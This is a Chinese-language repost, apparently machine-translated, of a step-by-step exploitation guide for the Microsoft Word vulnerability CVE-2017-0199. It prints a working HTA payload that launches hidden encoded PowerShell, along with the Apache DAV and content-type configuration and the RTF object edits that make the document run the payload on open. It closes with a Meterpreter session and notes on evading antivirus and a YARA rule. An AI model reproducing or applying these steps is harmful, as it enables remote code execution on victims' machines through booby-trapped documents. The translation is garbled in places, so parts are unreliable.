Windows0day攻击详解,CVE-2017-0199​

来源:互联网 发布:非线性最优化 编辑:程序博客网 时间:2024/05/21 00:14

介绍

自从几天以来,安全社区已经通知FireEye发布了不同的恶意软件(Dridex ...),利用CVE-2017-0199。

其他一些出版物与这个漏洞有关,但没有发布任何有用的漏洞。

一段时间后,我找到了一种轻松利用此漏洞的方式,这似乎与其他研究人员已经完成的工作有点不同。

我决定发布这项工作,因为微软在2017年4月11日正式发布了一个补丁。

技术背景

可以将OLEv2链接包含在现有文档中。

这些对象(一旦包含)将反映源文件中载入文档的当前内容。

令人惊奇的是,如果您尝试将HTA链接包含为OLEv2对象,那么它将被执行一次(在创建时),但WinWord将返回如下错误:


在这种情况下的问题是,HTA文件将不会被持久化(为了使其持续,您将不得不将其链接到文件+创建图标,但是我们想要隐藏并具有自动运行权限?)

想了一会儿,我开始思考如何处理一个真正的,不是恶意的OLE对象链接到一个远程RTF文件...

要实现我不得不在内容类型和DAV模块在Apache中播放一点,以提供我的文件在“ 正确的“Microsoft Office预期方式...(这将在下一章讨论)。

从那里,我将有一个有效的嵌入式对象链接,每次打开我的文档后自动更新!

下一步? 在HTA中用我的有效载荷修改来源的文档!

在这种情况下,我能够:

  • 为真实的RTF文件创建一个动态OLEv2对象链接
  • 使用我的有效载荷修改来源的RTF
  • 如果我想创建一个直接链接到HTA文档,则绕过生成的错误

另一个问题? OLE对象需要自动激活!

我有很多帮助来解决所有这些问题,转载参考部分的不同文章!

感谢Didier Stevens博客,Vincent Yiu(主要受其文章的启发),Nvisio实验室,FireEye和明显的... Microsoft

步骤1

准备HTA文件:(HTA文件是可以运行JScript和VBscript的HTML应用程序)

让我们称之为“ms.hta”

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  <html xmlns="http://www.w3.org/1999/xhtml">  <head>  <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />  <title>Bonjour</title>  <script language="VBScript">  Set owFrClN0giJ = CreateObject("Wscript.Shell")   Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then  owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL"   End If  </script>  <hta:application   id="oHTA"   applicationname="Bonjour"   application="yes"   >   </hta:application>  </head>   <div>   <object type="text/html" data="http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">  </object></div>    <body>  </body>  </html>  

第2步

使用任意随机内容的Winword创建一个简单的RTF文档。 (在我们的例子中,字符串“这是我的官方和合法内容”)

称之为“ms.rtf”

步骤3

将这2个文件推送到您完全控制的网络服务器上。

我们假定它将被存储在/ var / www / html中

现在我们必须配置Apache才能将ms.rtf作为一个链接

a2enmod dav  a2enmod dav_fs  a2enmod dav_lock  a2enmod headers  service apache2 restart  

以下指令将:

  • 将内容类型应用程序/ rtf添加到/ ms中的所有文件

  • 允许Microsoft Office执行PROPFIND请求

    Modify virtualhost and include:<Directory /var/www/html/ms/>  Header set Content-Type "application/rtf"  </Directory>  <Directory />  Dav on  </Directory>  service apache2 restart

步骤4

使用Winword“exploit.rtf”创建一个简单的RTF文档这将是我们的漏洞利用!

插入 - >对象

CVE-2017-0199 Creation of OLEv2 external link

单击确定后,您将获得包含随机字符串的“ms.rtf”文件的内容。

将文件另存为“exploit.rtf”

CVE-2017-0199 Olev2 link object created

在这一步我们可以关闭Winword,并转到下一步改变ms.rtf的内容与HTA有效载荷...

步骤5

以下步骤将:

  • 更改自定义HTA有效载荷中包含的ms.rtf

  • Web服务器将发送一个“application / hta”内容类型... 这将由Winword客户端解释,Winword客户端将运行mshta来处理此内容类型并执行我们的有效载荷

    cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf  vi /etc/apache2/sites-enables/000-default  Change -> application/rtf to application/hta   like:  <Directory /var/www/html/ms/>  Header set Content-Type "application/hta"  </Directory>  service apache2 restart 

步骤6

在这一步,如果用户打开“exploit.rtf”文件,他将不得不双击链接对象来启动攻击...

如果我们想要在文档打开时自动加载OLE对象,我们必须编辑exploit.rtf文件并更改:

至 \ object \ objautlink \ objupdate \ rsltpict ........................ ..

在这个步骤中,构建了漏洞利用。

开发:

一旦用户打开文档,OLE对象将通过链接进行更新,并且由于服务器提供的应用程序/ hta内容类型,mshta将被执行

结果:代码执行!

Meterpreter在这里!

我们不关心警告,因为代码已经执行了...

CVE-2017-0199被利用了! 执行后发出警告

使用当前AV /发布的YARA规则进行检测

从我的个人测试来看,这种方法似乎没有被AV捕获(Defender已经有CVE-2017-0199的签名)

此外,目前发布的雅拉规则与此漏洞并不匹配

规则rtfobjdataurlmoniker_http {

字符串:

$ header =“{\\ rtf1”$ objdata =“objdata 0105000002000000”nocase$ urlmoniker =“E0C9EA79F9BACE118C8200AA004BA90B”nocase$ http =“68007400740070003a002f002f00”nocase

条件:

$ header为0,$ objdata和$ urlmoniker和$ http}

确实,urlmoniker不匹配,这将永远不会触发这个Yara规则。

参考文献

https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/

https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/

关于作者David Routin

David Routin是瑞士安全公司的CISO,他十多年来一直担任防范和防御安全方面的安全专家,其中包括各种脆弱性研究.

(安全事务 - Windows0day攻击,CVE-2017-0199)

由Pierluigi Paganini编辑,xmirror进行编译,如需转载请标注:http://www.x-mirror.cn/

0 0
原创粉丝点击